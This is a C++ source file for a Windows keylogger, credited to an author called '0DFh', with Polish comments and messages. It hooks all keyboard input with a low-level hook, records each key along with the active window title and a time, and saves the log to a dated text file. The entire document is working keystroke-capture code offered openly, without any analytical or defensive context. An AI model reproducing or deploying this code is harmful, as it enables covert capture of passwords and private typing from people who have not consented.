/*
Coded by 0DFh.
Visit my website: http://0dfh.c0.pl/
*/
#include <iostream>
#include <fstream>
#include <Windows.h>
HHOOK hKeyboardHook = 0;
std::string LogFile;
HWND hCurrentWindow;
char sWindowTitle[256];
char cReturn[] = {13, 10};
std::ofstream fLogFile;
SYSTEMTIME SystemTime;
char cTime[64];
char cFileName[64];
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
if (nCode >= 0)
{
if (wParam == WM_KEYUP)
{
if(hCurrentWindow != GetForegroundWindow())
{
hCurrentWindow = GetForegroundWindow();
GetWindowText(hCurrentWindow, sWindowTitle, 256);
GetSystemTime(&SystemTime);
sprintf_s(cTime, "[ Czas: %02d:%02d:%02d, ", SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
LogFile += cReturn;
LogFile += cTime;
LogFile += " Nazwa okna: ";
LogFile += sWindowTitle;
LogFile += " ]";
LogFile += cReturn;
}
switch(pKbdLLHookStruct->vkCode)
{
case VK_RETURN:
LogFile += "[Enter]";
LogFile += cReturn;
break;
case VK_BACK:
LogFile += "[Backspace]";
break;
case VK_ESCAPE:
LogFile += "[Escape]";
break;
case VK_CAPITAL:
LogFile += "[Capslock]";
break;
case VK_LMENU:
LogFile += "[LAlt]";
break;
case VK_RMENU:
LogFile += "[RAlt]";
break;
case VK_MENU:
LogFile += "[Alt]";
break;
case VK_CONTROL:
LogFile += "[Ctrl]";
break;
case VK_DELETE:
LogFile += "[Delete]";
break;
case VK_SPACE:
LogFile += " ";
break;
case VK_MULTIPLY:
LogFile += "*";
break;
case VK_ADD:
LogFile += "+";
break;
case VK_SUBTRACT:
LogFile += "-";
break;
case VK_DECIMAL:
LogFile += ".";
break;
case VK_DIVIDE:
LogFile += "/";
break;
case 188:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "<";
else
LogFile += ",";
break;
case 192:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "~~";
else
LogFile += "`";
break;
case 222:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "\"";
else
LogFile += "'";
break;
case 220:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "|";
else
LogFile += "\\";
break;
case 219:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "{";
else
LogFile += "[";
break;
case 221:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "}";
else
LogFile += "]";
break;
case 186:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += ":";
else
LogFile += ";";
break;
case 191:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "?";
else
LogFile += "/";
break;
case 190:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += ">";
else
LogFile += ".";
break;
case 44:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "<";
else
LogFile += ",";
break;
case 187:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "+";
else
LogFile += "=";
break;
case 189:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "_";
else
LogFile += "-";
break;
case 65:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "A";
else
LogFile += "a";
break;
case 66:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "B";
else
LogFile += "b";
break;
case 67:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "C";
else
LogFile += "c";
break;
case 68:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "D";
else
LogFile += "d";
break;
case 69:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "E";
else
LogFile += "e";
break;
case 70:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "F";
else
LogFile += "f";
break;
case 71:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "G";
else
LogFile += "g";
break;
case 72:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "H";
else
LogFile += "h";
break;
case 73:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "I";
else
LogFile += "i";
break;
case 74:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "J";
else
LogFile += "j";
break;
case 75:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "K";
else
LogFile += "k";
break;
case 76:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "L";
else
LogFile += "l";
break;
case 77:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "M";
else
LogFile += "m";
break;
case 78:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "N";
else
LogFile += "n";
break;
case 79:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "O";
else
LogFile += "o";
break;
case 80:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "P";
else
LogFile += "p";
break;
case 81:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "Q";
else
LogFile += "q";
break;
case 82:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "R";
else
LogFile += "r";
break;
case 83:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "S";
else
LogFile += "s";
break;
case 84:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "T";
else
LogFile += "t";
break;
case 85:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "U";
else
LogFile += "u";
break;
case 86:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "V";
else
LogFile += "v";
break;
case 87:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "W";
else
LogFile += "w";
break;
case 88:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "X";
else
LogFile += "x";
break;
case 89:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "Y";
else
LogFile += "y";
break;
case 90:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "Z";
else
LogFile += "z";
break;
case VK_NUMPAD0:
LogFile += "0";
break;
case VK_NUMPAD1:
LogFile += "1";
break;
case VK_NUMPAD2:
LogFile += "2";
break;
case VK_NUMPAD3:
LogFile += "3";
break;
case VK_NUMPAD4:
LogFile += "4";
break;
case VK_NUMPAD5:
LogFile += "5";
break;
case VK_NUMPAD6:
LogFile += "6";
break;
case VK_NUMPAD7:
LogFile += "7";
break;
case VK_NUMPAD8:
LogFile += "8";
break;
case VK_NUMPAD9:
LogFile += "9";
break;
case 48:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += ")";
else
LogFile += "0";
break;
case 49:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "!";
else
LogFile += "1";
break;
case 50:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "@";
else
LogFile += "2";
break;
case 51:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "#";
else
LogFile += "3";
break;
case 52:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "$";
else
LogFile += "4";
break;
case 53:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "%";
else
LogFile += "5";
break;
case 54:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "^";
else
LogFile += "6";
break;
case 55:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "&";
else
LogFile += "7";
break;
case 56:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "*";
else
LogFile += "8";
break;
case 57:
if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
LogFile += "(";
else
LogFile += "9";
break;
}
}
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
if(hKeyboardHook == NULL)
MessageBox(0, "Funkcja SetWindowsHookEx nie powiodła się.", 0, 0);
MessageBox(0, "Keylogger jest aktywny. Wciśnij OK, aby zakończyć jego pracę i zapisać log do pliku.", "Informacja", 0);
// pobierz czas i datę, i doklej ją do nazwy pliku
GetSystemTime(&SystemTime);
sprintf_s(cFileName, "log%02d_%02d_%02d-%02d-%d.txt", SystemTime.wHour+2, SystemTime.wMinute, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);
// zapisz log do pliku
fLogFile.open(cFileName);
fLogFile << LogFile.c_str();
fLogFile.close();
if(UnhookWindowsHookEx(hKeyboardHook) == 0)
MessageBox(0, "Funkcja UnhookWindowsHookEx nie powiodła się.", 0, 0);
return EXIT_SUCCESS;
}